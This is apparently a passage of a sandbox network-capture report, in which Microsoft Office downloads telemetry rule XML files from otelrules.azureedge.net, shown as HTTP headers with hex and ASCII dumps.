3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 03:34:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033426Z-r197bdfb6b4grkz4xgvkar0zcs000000074000000000a3kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: e1e6f089-901e-005b-1e15-262005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033426Z-15b8d89586fzhrwgk23ex2bvhw0000000abg00000000bvbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:26 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033426Z-16849878b7867ttgfbpnfxt44s00000007c0000000007egt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:26 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 599b48de-b01e-00ab-8035-2adafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-r197bdfb6b42rt68rzg9338g1g00000008v00000000021fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-16849878b78wc6ln1zsrz6q9w80000000760000000006uk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:27 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-16849878b78qg9mlz11wgn0wcc00000006zg00000000mqtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-15b8d89586fmc8ck21zz2rtg1w00000004s0000000004hff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-15b8d89586flspj6y6m5fk442w0000000dd0000000005sun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2fe3f320-d01e-0065-1a0d-29b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-r197bdfb6b4gx6v9pg74w9f47s00000009m0000000005g1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:27 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033427Z-16849878b78xblwksrnkakc08w00000006sg000000007a21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:28 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:28 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033428Z-15b8d89586fxdh48ft0acdbg44000000019g000000005rsg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:28 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
